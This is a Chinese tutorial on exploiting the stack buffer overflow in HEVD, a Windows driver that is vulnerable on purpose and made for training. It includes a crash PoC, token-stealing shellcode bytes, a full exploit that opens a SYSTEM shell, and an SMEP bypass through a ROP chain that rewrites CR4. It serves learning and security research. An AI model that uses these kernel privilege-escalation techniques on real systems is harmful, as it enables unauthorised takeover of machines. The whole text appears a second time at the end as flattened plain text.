Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow
字数 1148 2025-08-24 07:48:22

Windows内核漏洞利用教程:HEVD栈溢出漏洞分析与利用

环境搭建

所需工具

  • OSR Loader 3.0: 用于驱动加载
  • HEVD源码与HEVD_3.0: 从Github获取
  • 调试环境: WinDbg + VMware双机调试

推荐环境配置

  • 物理机OS: Windows 10 20H2 x64
  • 物理机WinDbg: 10.0.17134.1
  • 虚拟机OS: Windows 7 SP1 x86
  • VMware: VMware Workstation 15 Pro
  • Visual Studio 2019

基础知识

驱动程序开发基础

一个简单的驱动程序示例展示了基本的驱动结构:

#include <ntddk.h>

#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
#define DOS_DEV_NAME L"\\DosDevices\\HelloDev"
#define DEV_NAME L"\\Device\\HelloDev"

// IRP处理函数
NTSTATUS IrpNotImplementedHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
    Irp->IoStatus.Status = STATUS_NOT_SUPPORTED;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_NOT_SUPPORTED;
}

NTSTATUS IrpCreateCloseHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
    Irp->IoStatus.Status = STATUS_SUCCESS;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_SUCCESS;
}

VOID IrpUnloadHandler(IN PDRIVER_OBJECT DriverObject) {
    UNICODE_STRING DosDeviceName = {0};
    RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
    IoDeleteSymbolicLink(&DosDeviceName);
    IoDeleteDevice(DriverObject->DeviceObject);
}

NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
    PIO_STACK_LOCATION IrpSp = IoGetCurrentIrpStackLocation(Irp);
    ULONG IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;
    
    switch (IoControlCode) {
        case HELLO_DRV_IOCTL:
            DbgPrint("[< HelloDriver >] Hello from the Driver!\n");
            break;
        default:
            DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode);
            return STATUS_INVALID_DEVICE_REQUEST;
    }
    
    Irp->IoStatus.Status = STATUS_SUCCESS;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {
    // 创建设备和符号链接
    // 设置IRP处理函数
    // 初始化驱动
}

用户态与驱动通信

用户态程序通过DeviceIoControl与驱动通信:

#include <stdio.h>
#include <windows.h>

#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
const char kDevName[] = "\\\\.\\HelloDev";

HANDLE open_device(const char* device_name) {
    return CreateFileA(device_name, GENERIC_READ | GENERIC_WRITE, 
                      NULL, NULL, OPEN_EXISTING, NULL, NULL);
}

BOOL send_ioctl(HANDLE device, DWORD ioctl_code) {
    BYTE* inBuffer = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x4);
    RtlFillMemory(inBuffer, 0x4, 'A');
    
    DWORD size_returned = 0;
    BOOL is_ok = DeviceIoControl(device, ioctl_code, inBuffer, 0x4, 
                                NULL, 0, &size_returned, NULL);
    
    HeapFree(GetProcessHeap(), 0, (LPVOID)inBuffer);
    return is_ok;
}

int main() {
    HANDLE dev = open_device(kDevName);
    send_ioctl(dev, HELLO_DRV_IOCTL);
    close_device(dev);
    return 0;
}

HEVD栈溢出漏洞分析

漏洞代码

HEVD驱动中的栈溢出漏洞位于BufferOverflowStack.c文件中:

__declspec(safebuffers)
NTSTATUS TriggerBufferOverflowStack(_In_ PVOID UserBuffer, _In_ SIZE_T Size) {
    ULONG KernelBuffer[BUFFER_SIZE] = {0}; // BUFFER_SIZE = 0x800
    
    ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
    
    // 漏洞点:使用用户提供的Size参数而非KernelBuffer大小
    RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
    
    return STATUS_SUCCESS;
}

漏洞原理

  1. 内核栈上分配了固定大小的缓冲区KernelBuffer(0x800字节)
  2. 使用RtlCopyMemory(等同于memcpy)将用户态数据复制到内核缓冲区
  3. 复制长度由用户控制的Size参数决定,而非使用sizeof(KernelBuffer)
  4. Size大于0x800时,会导致内核栈溢出

漏洞利用POC

#include <stdio.h>
#include <windows.h>

#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)

int main() {
    HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                            GENERIC_READ | GENERIC_WRITE,
                            NULL, NULL, OPEN_EXISTING, NULL, NULL);
    
    CHAR* chBuffer = (CHAR*)malloc(0x824);
    memset(chBuffer, 0x41, 0x824);
    
    DWORD size_returned = 0;
    DeviceIoControl(dev, HEVD_IOCTL_BUFFER_OVERFLOW_STACK,
                   chBuffer, 0x824, NULL, 0, &size_returned, NULL);
    
    CloseHandle(dev);
    return 0;
}

漏洞利用开发

基本利用思路

  1. 构造足够大的缓冲区(0x824字节)覆盖返回地址
  2. 将shellcode地址放置在返回地址位置
  3. shellcode执行权限提升操作

Shellcode设计

CHAR shellcode[] = 
    "\x60"                              // pushad
    "\x31\xc0"                         // xor eax, eax
    "\x64\x8b\x80\x24\x01\x00\x00"     // mov eax,[fs:eax + 0x124] (CurrentThread)
    "\x8b\x40\x50"                     // mov eax,[eax + 0x50] (EPROCESS)
    "\x89\xc1"                         // mov ecx,eax
    "\xba\x04\x00\x00\x00"             // mov edx,0x4 (System PID)
    "\x8b\x80\xb8\x00\x00\x00"         // mov eax,[eax + 0xb8] (ActiveProcessLinks)
    "\x2d\xb8\x00\x00\x00"             // sub eax,0xb8
    "\x39\x90\xb4\x00\x00\x00"         // cmp[eax + 0xb4],edx
    "\x75\xed"                         // jnz (loop until find System process)
    "\x8b\x90\xf8\x00\x00\x00"         // mov edx,[eax + 0xf8] (System Token)
    "\x89\x91\xf8\x00\x00\x00"         // mov[ecx + 0xf8],edx (copy to current process)
    "\x61"                             // popad
    "\x31\xc0"                         // xor eax,eax
    "\x5d"                             // pop ebp
    "\xc2\x08\x00";                    // ret 0x8

完整Exploit

#include <stdio.h>
#include <windows.h>

#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)

int main() {
    HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                            GENERIC_READ | GENERIC_WRITE,
                            NULL, NULL, OPEN_EXISTING, NULL, NULL);
    
    CHAR* chBuffer = (CHAR*)malloc(0x824);
    ZeroMemory(chBuffer, 0x824);
    memset(chBuffer, 0x41, 0x820);
    
    // 分配可执行内存存放shellcode
    CHAR* p = (CHAR*)VirtualAlloc(0, 0x60, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    ZeroMemory(p, 0x60);
    
    // 内联汇编构造shellcode
    __asm {
        pushad;
        mov edi, p;
        mov [edi], 0x60;
        mov dword ptr [edi + 0x1], 0x8B64C031;
        // ... 省略其他shellcode构造指令
        mov eax, chBuffer;
        mov[eax + 0x820], edi; // 将shellcode地址放在返回地址位置
        popad;
    }
    
    DeviceIoControl(dev, HEVD_IOCTL_BUFFER_OVERFLOW_STACK,
                   chBuffer, 0x824, NULL, 0, NULL, NULL);
    
    CloseHandle(dev);
    system("cmd.exe"); // 获取system shell
    return 0;
}

SMEP/SMAP绕过技术

SMEP/SMAP简介

  • SMEP(Supervisor Mode Execution Prevention): 禁止内核执行用户空间代码
  • SMAP(Supervisor Mode Access Prevention): 禁止内核访问用户空间数据
  • 通过CR4寄存器的第20位(SMEP)和第21位(SMAP)控制

绕过方法

  1. ROP链修改CR4:

    • 使用内核中的ROP gadget修改CR4寄存器
    • 将SMEP/SMAP位清零
  2. 获取内核基址:

    • 使用NtQuerySystemInformation获取内核模块信息
typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength
);

INT64 get_kernel_base() {
    PNtQuerySystemInformation NtQuerySystemInformation = 
        (PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), 
                                                "NtQuerySystemInformation");
    
    ULONG len = 0;
    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
    
    PSYSTEM_MODULE_INFORMATION pModuleInfo = 
        (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_READWRITE);
    
    NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
    
    PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
    return (INT64)kernelImageBase;
}
  1. ROP链构造:
// 示例ROP gadget
INT64 pop_rcx_offset = kernel_base + 0x146580;    // pop rcx; retn
INT64 rcx_value = 0x70678;                        // CR4值(禁用SMEP)
INT64 mov_cr4_offset = kernel_base + 0x3D6431;    // mov cr4, rcx; retn

// 构造输入缓冲区
BYTE input_buff[2088] = {0};
memset(input_buff, '\x41', 2056);

// 填充ROP链
memcpy(input_buff + 2056, (PINT64)&pop_rcx_offset, 8);
memcpy(input_buff + 2064, (PINT64)&rcx_value, 8);
memcpy(input_buff + 2072, (PINT64)&mov_cr4_offset, 8);
memcpy(input_buff + 2080, (PINT64)&shellcode_addr, 8);

总结

本教程详细分析了HEVD驱动中的栈溢出漏洞,从基础驱动开发到漏洞利用,再到高级的SMEP/SMAP绕过技术。关键点包括:

  1. 理解Windows驱动通信机制
  2. 分析栈溢出漏洞原理
  3. 开发可靠的shellcode实现权限提升
  4. 绕过现代防护机制(SMEP/SMAP)
  5. 使用ROP技术在内核空间执行任意代码

通过掌握这些技术,安全研究人员可以更好地理解Windows内核漏洞的利用方法,并为开发更安全的驱动程序提供参考。

Windows内核漏洞利用教程:HEVD栈溢出漏洞分析与利用 环境搭建 所需工具 OSR Loader 3.0 : 用于驱动加载 HEVD源码与HEVD_ 3.0 : 从Github获取 调试环境 : WinDbg + VMware双机调试 推荐环境配置 物理机OS: Windows 10 20H2 x64 物理机WinDbg: 10.0.17134.1 虚拟机OS: Windows 7 SP1 x86 VMware: VMware Workstation 15 Pro Visual Studio 2019 基础知识 驱动程序开发基础 一个简单的驱动程序示例展示了基本的驱动结构: 用户态与驱动通信 用户态程序通过DeviceIoControl与驱动通信: HEVD栈溢出漏洞分析 漏洞代码 HEVD驱动中的栈溢出漏洞位于BufferOverflowStack.c文件中: 漏洞原理 内核栈上分配了固定大小的缓冲区 KernelBuffer (0x800字节) 使用 RtlCopyMemory (等同于memcpy)将用户态数据复制到内核缓冲区 复制长度由用户控制的 Size 参数决定,而非使用 sizeof(KernelBuffer) 当 Size 大于0x800时,会导致内核栈溢出 漏洞利用POC 漏洞利用开发 基本利用思路 构造足够大的缓冲区(0x824字节)覆盖返回地址 将shellcode地址放置在返回地址位置 shellcode执行权限提升操作 Shellcode设计 完整Exploit SMEP/SMAP绕过技术 SMEP/SMAP简介 SMEP (Supervisor Mode Execution Prevention): 禁止内核执行用户空间代码 SMAP (Supervisor Mode Access Prevention): 禁止内核访问用户空间数据 通过CR4寄存器的第20位(SMEP)和第21位(SMAP)控制 绕过方法 ROP链修改CR4 : 使用内核中的ROP gadget修改CR4寄存器 将SMEP/SMAP位清零 获取内核基址 : 使用 NtQuerySystemInformation 获取内核模块信息 ROP链构造 : 总结 本教程详细分析了HEVD驱动中的栈溢出漏洞,从基础驱动开发到漏洞利用,再到高级的SMEP/SMAP绕过技术。关键点包括: 理解Windows驱动通信机制 分析栈溢出漏洞原理 开发可靠的shellcode实现权限提升 绕过现代防护机制(SMEP/SMAP) 使用ROP技术在内核空间执行任意代码 通过掌握这些技术,安全研究人员可以更好地理解Windows内核漏洞的利用方法,并为开发更安全的驱动程序提供参考。